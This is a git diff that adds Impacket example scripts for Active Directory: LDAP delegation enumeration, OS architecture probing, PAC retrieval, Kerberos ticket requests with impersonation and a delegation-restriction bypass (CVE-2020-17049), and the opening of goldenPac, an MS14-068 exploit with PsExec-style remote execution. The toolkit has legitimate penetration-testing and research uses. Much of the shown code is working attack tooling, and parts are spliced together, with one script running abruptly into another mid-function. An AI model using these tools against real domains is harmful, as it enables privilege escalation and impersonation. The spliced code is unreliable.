self.baseDN[:-1] + # We can't set the KDC to a custom IP or Hostname when requesting things cross-domain + # because then the KDC host will be used for both + # the initial and the referral ticket, which breaks stuff. + if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost): + logging.warning('KDC IP address and hostname will be ignored because of cross-domain targeting.') + self.__kdcIP = None + self.__kdcHost = None + + def getMachineName(self, target): + try: + s = SMBConnection(target, target) + s.login('', '') + except OSError as e: + if str(e).find('timed out') > 0: + raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option.') + else: + raise + except SessionError as e: + if str(e).find('STATUS_NOT_SUPPORTED') > 0: + raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option.') + else: + raise + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % target) + else: + s.logoff() + return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName()) + + + def run(self): + if self.__kdcHost is not None and self.__targetDomain == self.__domain: + self.__target = self.__kdcHost + else: + if self.__kdcIP is not None and self.__targetDomain == self.__domain: + self.__target = self.__kdcIP + else: + self.__target = self.__targetDomain + + if self.__doKerberos: + logging.info('Getting machine hostname') + self.__target = self.getMachineName(self.__target) + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + else: + if str(e).find('NTLMAuthNegotiate') >= 0: + logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " + "authentication instead") + else: + if self.__kdcIP is not None and self.__kdcHost is not None: + logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " + "must match exactly each other") + raise + + searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ + "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))" + + try: + resp = ldapConnection.search(searchFilter=searchFilter, + attributes=['sAMAccountName', + 'pwdLastSet', 'userAccountControl', 'objectCategory', + 'msDS-AllowedToActOnBehalfOfOtherIdentity', 'msDS-AllowedToDelegateTo'], + sizeLimit=999) + except ldap.LDAPSearchError as e: + if e.getErrorString().find('sizeLimitExceeded') >= 0: + logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + pass + else: + raise + + answers = [] + logging.debug('Total of records returned %d' % len(resp)) + + for item in resp: + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + continue + mustCommit = False + sAMAccountName = '' + userAccountControl = 0 + delegation = '' + objectType = '' + rightsTo = [] + protocolTransition = 0 + + #after receiving responses we parse through to determine the type of delegation configured on each object + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + sAMAccountName = str(attribute['vals'][0]) + mustCommit = True + elif str(attribute['type']) == 'userAccountControl': + userAccountControl = str(attribute['vals'][0]) + if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: + delegation = 'Unconstrained' + rightsTo.append("N/A") + elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: + delegation = 'Constrained w/ Protocol Transition' + protocolTransition = 1 + elif str(attribute['type']) == 'objectCategory': + objectType = str(attribute['vals'][0]).split('=')[1].split(',')[0] + elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': + if protocolTransition == 0: + delegation = 'Constrained' + for delegRights in attribute['vals']: + rightsTo.append(str(delegRights)) + + #not an elif as an object could both have rbcd and another type of delegation configured for the same object + if str(attribute['type']) == 'msDS-AllowedToActOnBehalfOfOtherIdentity': + rbcdRights = [] + rbcdObjType = [] + searchFilter = '(&(|' + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute['vals'][0])) + for ace in sd['Dacl'].aces: + searchFilter = searchFilter + "(objectSid="+ace['Ace']['Sid'].formatCanonical()+")" + searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + delegUserResp = ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName', 'objectCategory'],sizeLimit=999) + for item2 in delegUserResp: + if isinstance(item2, ldapasn1.SearchResultEntry) is not True: + continue + rbcdRights.append(str(item2['attributes'][0]['vals'][0])) + rbcdObjType.append(str(item2['attributes'][1]['vals'][0]).split('=')[1].split(',')[0]) + + if mustCommit is True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + logging.debug('Bypassing disabled account %s ' % sAMAccountName) + else: + for rights, objType in zip(rbcdRights,rbcdObjType): + answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) + + #print unconstrained + constrained delegation relationships + if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: + if mustCommit is True: + if int(userAccountControl) & UF_ACCOUNTDISABLE: + logging.debug('Bypassing disabled account %s ' % sAMAccountName) + else: + for rights in rightsTo: + answers.append([sAMAccountName, objectType, delegation, rights]) + except Exception as e: + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + if len(answers)>0: + self.printTable(answers, header=[ "AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) + print('\n\n') + else: + print("No entries found!") + + +# Process command-line arguments. +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for delegation relationships ") + + parser.add_argument('target', action='store', help='domain[/username[:password]]') + parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' + 'Allows for retrieving delegation info across trusts.') + + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter. Ignored' + 'if -target-domain is specified.') + group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + userDomain, username, password = parse_credentials(options.target) + + if userDomain == '': + logging.critical('userDomain should be specified!') + sys.exit(1) + + if options.target_domain: + targetDomain = options.target_domain + else: + targetDomain = userDomain + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + try: + executer = FindDelegation(username, password, userDomain, targetDomain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) diff --git a/examples/getArch.py b/examples/getArch.py new file mode 100644 index 0000000..9f0ddeb --- /dev/null +++ b/examples/getArch.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will connect against a target (or list of targets) machine/s and gather the OS architecture type +# installed. +# The trick has been discovered many years ago and is actually documented by Microsoft here: +# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53 +# and doesn't require any authentication at all. +# +# Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS. +# +# Author: +# beto (@agsolino) +# +# Reference for: +# RPCRT, NDR +# + +from __future__ import division +from __future__ import print_function +import argparse +import logging +import sys + +from impacket import version +from impacket.examples import logger +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.transport import DCERPCTransportFactory +from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP + + +class TARGETARCH: + def __init__(self, options): + self.__machinesList = list() + self.__options = options + self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') + + def run(self): + if self.__options.targets is not None: + for line in self.__options.targets.readlines(): + self.__machinesList.append(line.strip(' \r\n')) + else: + self.__machinesList.append(self.__options.target) + + logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList)) + logging.info('Socket connect timeout set to %s secs' % self.__options.timeout) + + for machine in self.__machinesList: + try: + stringBinding = r'ncacn_ip_tcp:%s[135]' % machine + transport = DCERPCTransportFactory(stringBinding) + transport.set_connect_timeout(int(self.__options.timeout)) + dce = transport.get_dce_rpc() + dce.connect() + try: + dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax) + except DCERPCException as e: + if str(e).find('syntaxes_not_supported') >= 0: + print('%s is 32-bit' % machine) + else: + logging.error(str(e)) + pass + else: + print('%s is 64-bit' % machine) + + dce.disconnect() + except Exception as e: + #import traceback + #traceback.print_exc() + logging.error('%s: %s' % (machine, str(e))) + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version") + parser.add_argument('-target', action='store', help='') + parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch ' + 'from (one per line). ') + parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.target is None and options.targets is None: + logging.error('You have to specify a target!') + sys.exit(1) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + try: + getArch = TARGETARCH(options) + getArch.run() + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + sys.exit(0) diff --git a/examples/getPac.py b/examples/getPac.py new file mode 100644 index 0000000..1d2d532 --- /dev/null +++ b/examples/getPac.py @@ -0,0 +1,335 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will get the PAC of the specified target user just having a normal authenticated user credentials. +# It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication. +# Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi) +# +# Author: +# Alberto Solino (@agsolino) +# +# References: +# - U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02 +# - [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx +# + +from __future__ import division +from __future__ import print_function +import argparse +import datetime +import logging +import random +import re +import struct +import sys +from binascii import unhexlify +from six import b + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket import version +from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.krb5 import constants +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1 +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, Enctype +from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ + PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.winregistry import hexdump + + +class S4U2SELF: + + def printPac(self, data): + encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] + adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[ + 0] + # So here we have the PAC + pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + buff = pacType['Buffers'] + + for bufferN in range(pacType['cBuffers']): + infoBuffer = PAC_INFO_BUFFER(buff) + data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] + if logging.getLogger().level == logging.DEBUG: + print("TYPE 0x%x" % infoBuffer['ulType']) + if infoBuffer['ulType'] == 1: + type1 = TypeSerialization1(data) + # I'm skipping here 4 bytes with its the ReferentID for the pointer + newdata = data[len(type1)+4:] + kerbdata = KERB_VALIDATION_INFO() + kerbdata.fromString(newdata) + kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) + kerbdata.dump() + print() + print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical()) + print() + elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: + clientInfo = PAC_CLIENT_INFO(data) + if logging.getLogger().level == logging.DEBUG: + clientInfo.dump() + print() + elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + if logging.getLogger().level == logging.DEBUG: + signatureData.dump() + print() + elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + if logging.getLogger().level == logging.DEBUG: + signatureData.dump() + print() + elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: + upn = UPN_DNS_INFO(data) + if logging.getLogger().level == logging.DEBUG: + upn.dump() + print(data[upn['DnsDomainNameOffset']:]) + print() + else: + hexdump(data) + + if logging.getLogger().level == logging.DEBUG: + print("#"*80) + + buff = buff[len(infoBuffer):] + + + def __init__(self, behalfUser, username = '', password = '', domain='', hashes = None): + self.__username = username + self.__password = password + self.__domain = domain.upper() + self.__behalfUser = behalfUser + self.__lmhash = '' + self.__nthash = '' + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def dump(self): + # Try all requested protocols until one works. + + userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), unhexlify(self.__nthash)) + + decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] + + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq,'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1( decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print ('\n') + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack('= 0: + logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) + if str(e).find('KDC_ERR_BADOPTION') >= 0: + logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) + + return + self.__saveFileName = self.__options.impersonate + + self.saveTicket(tgs, oldSessionKey) + + +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " + "Service Ticket and save it as ccache") + parser.add_argument('identity', action='store', help='[domain/]username[:password]') + parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') + parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' + ' for quering the ST. Keep in mind this will only work if ' + 'the identity provided in this scripts is allowed for ' + 'delegation to the SPN specified') + parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' + 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' + 'specified -identity should be provided. This allows impresonation of protected users ' + 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv) == 1: + parser.print_help() + print("\nExamples: ") + print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") + print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.identity) + + try: + if domain is None: + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = GETST(username, password, domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + print(str(e)) diff --git a/examples/getTGT.py b/examples/getTGT.py new file mode 100644 index 0000000..d20df28 --- /dev/null +++ b/examples/getTGT.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Given a password, hash or aesKey, it will request a TGT and save it as ccache +# +# Examples: +# ./getTGT.py -hashes lm:nt contoso.com/user +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +import argparse +import logging +import sys +from binascii import unhexlify + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.krb5.kerberosv5 import getKerberosTGT +from impacket.krb5 import constants +from impacket.krb5.types import Principal + + +class GETTGT: + def __init__(self, target, password, domain, options): + self.__password = password + self.__user= target + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__options = options + self.__kdcHost = options.dc_ip + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def saveTicket(self, ticket, sessionKey): + logging.info('Saving ticket in %s' % (self.__user + '.ccache')) + from impacket.krb5.ccache import CCache + ccache = CCache() + + ccache.fromTGT(ticket, sessionKey, sessionKey) + ccache.saveFile(self.__user + '.ccache') + + def run(self): + userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, + self.__kdcHost) + self.saveTicket(tgt,oldSessionKey) + +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " + "TGT and save it as ccache") + parser.add_argument('identity', action='store', help='[domain/]username[:password]') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: + parser.print_help() + print("\nExamples: ") + print("\t./getTGT.py -hashes lm:nt contoso.com/user\n") + print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.identity) + + try: + if domain is None: + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = GETTGT(username, password, domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + print(str(e)) diff --git a/examples/goldenPac.py b/examples/goldenPac.py new file mode 100644 index 0000000..4c1d955 --- /dev/null +++ b/examples/goldenPac.py @@ -0,0 +1,1146 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first! +# Well done :). +# This one also established a SMBConnection and PSEXEcs the +# target. +# A few important things: +# 1) you must use the domain FQDN or use -dc-ip switch +# 2) target must be a FQDN as well and matching the target's NetBIOS +# 3) Just RC4 at the moment - DONE (aes256 added) +# 4) It won't work on Kerberos-only Domains (but can be fixed) +# 5) Use WMIEXEC approach instead +# +# E.G: +# python goldenPac domain.net/normaluser@domain-host +# the password will be asked, or +# +# python goldenPac.py domain.net/normaluser:mypwd@domain-host +# +# if domain.net and/or domain-host do not resolve, add them +# to the hosts file or use the -dc-ip and -target-ip parameters +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +import cmd +import logging +import os +import random +import string +import time +from binascii import unhexlify +from threading import Thread, Lock +from six import PY3 + +from impacket.dcerpc.v5 import epm +from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \ + DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \ + NULLGUID +from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED +from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 +from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES +from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx +from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \ + PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ + PAC_PRIVSVR_CHECKSUM, PACTYPE +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.examples import remcomsvc, serviceinstall +from impacket.smbconnection import SMBConnection, smb +from impacket.structure import Structure + +################################################################################ +# HELPER FUNCTIONS +################################################################################ + +def getFileTime(t): + t *= 10000000 + t += 116444736000000000 + return t + +class RemComMessage(Structure): + structure = ( + ('Command','4096s=""'), + ('WorkingDir','260s=""'), + ('Priority',' 0: + try: + s.waitNamedPipe(tid,pipe) + pipeReady = True + except Exception as e: + print(str(e)) + tries -= 1 + time.sleep(2) + pass + + if tries == 0: + raise Exception('Pipe not ready, aborting') + + fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) + + return fid + +class Pipes(Thread): + def __init__(self, transport, pipe, permissions, TGS=None, share=None): + Thread.__init__(self) + self.server = 0 + self.transport = transport + self.credentials = transport.get_credentials() + self.tid = 0 + self.fid = 0 + self.share = share + self.port = transport.get_dport() + self.pipe = pipe + self.permissions = permissions + self.TGS = TGS + self.daemon = True + + def connectPipe(self): + try: + lock.acquire() + global dialect + self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), + sess_port=self.port, preferredDialect=dialect) + user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials + self.server.login(user, passwd, domain, lm, nt) + lock.release() + self.tid = self.server.connectTree('IPC$') + + self.server.waitNamedPipe(self.tid, self.pipe) + self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) + self.server.setTimeout(1000000) + except: + logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) + + +class RemoteStdOutPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + global LastDataSent + if ans != LastDataSent: + sys.stdout.write(ans.decode('cp437')) + sys.stdout.flush() + else: + # Don't echo what I sent, and clear it up + LastDataSent = '' + # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, + # it will give false positives tho.. we should find a better way to handle this. + if LastDataSent > 10: + LastDataSent = '' + except: + pass + +class RemoteStdErrPipe(Pipes): + def __init__(self, transport, pipe, permisssions): + Pipes.__init__(self, transport, pipe, permisssions) + + def run(self): + self.connectPipe() + while True: + try: + ans = self.server.readFile(self.tid,self.fid, 0, 1024) + except: + pass + else: + try: + sys.stderr.write(str(ans)) + sys.stderr.flush() + except: + pass + +class 